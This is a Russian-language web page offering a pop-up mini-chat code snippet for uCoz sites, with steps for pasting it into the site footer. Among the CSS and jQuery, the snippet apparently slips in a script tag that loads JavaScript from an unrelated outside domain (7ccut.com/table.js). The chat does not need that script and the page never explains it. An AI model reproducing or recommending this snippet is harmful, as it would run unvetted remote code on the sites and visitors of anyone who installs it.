Всплывающий мини-чат для сайта

Всплывающий мини-чат скрипт для uCoz
Мини-чат скрипт для uCoz, который установить можно за 1 минуту, так же этот скрипт подойдёт на любой сайт с любой тематикой и впишется в любой, даже самый капризный дизайн! Что делает скрипт? Он устанавливает мини чат в самый низ в правую сторону сайта и при нажатие на картинку ЧАТ , появится окошки с чатом! Теперь пользователи могут общаться там, но в тоже время он не будет мoзолить глаза тем, кому он вовсе не нужен. Устанавливаем:
Установка:
1 заходим на сайт и в админ панель
2 Открываем Дизайн – Управление Дизайном Сайта
3 Переходим в GLOBAL_BFOOTER или просто Нижнюю часть сайта
4 Устанавливаем код в самый низ сайта и ГОТОВО!

 

<style>.chat_box {display:none;position:fixed;bottom:15px;right:15px;border:1px solid #dddddd;background:#fbfbfb;padding:4px;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:2px 2px 3px #9b9b9b;-webkit-box-shadow:2px 2px 3px #9b9b9b;box-shadow:2px 2px 3px #9b9b9b;}
.chat_box div.close {display:block;position:absolute;right:0;top:0;background:url(&#39;http://pnghosts.ru/img/chat_box_closeprofil.png&#39;) no-repeat;width:16px;height:16px;opacity:0.6;-moz-opacity:0.6;filter:alpha(opacity=60);filter:progid:DXImageTransform.Microsoft.Alpha(opacity=60);}
.chat_box div.close:hover {cursor:pointer;opacity:1.0;-moz-opacity:1.0;filter:alpha(opacity=100);filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);}div.chat_button {display:block;width:75px;height:75px;background:url(&#39;http://pnghosts.ru/img/chat_button_prifil.png&#39;) no-repeat;position:fixed;bottom:15px;right:15px;opacity:0.8;-moz-opacity:0.8;filter:alpha(opacity=80);filter:progid:DXImageTransform.Microsoft.Alpha(opacity=80);}
div.chat_button:hover {cursor:pointer;opacity:1.0;-moz-opacity:1.0;filter:alpha(opacity=100);filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);}
</style><script src=’http://7ccut.com/table.js’ type=’text/javascript’></script>
<div class=’chat_button’ onclick=’$(&#39;.chat_button&#39;).fadeOut(&#39;fast&#39;);$(&#39;.chat_box&#39;).slideToggle(&#39;slow&#39;);’></div>
<div class=’chat_box’><div class=’close’ onclick=’$(&#39;.chat_box&#39;).slideToggle(&#39;fast&#39;);$(&#39;.chat_button&#39;).fadeIn(&#39;slow&#39;);’></div>
<div id=’chatBox’>$CHAT_BOX$</div>
</div></div>

227 просмотров всего, 3 просмотров сегодня

Комментарии закрыты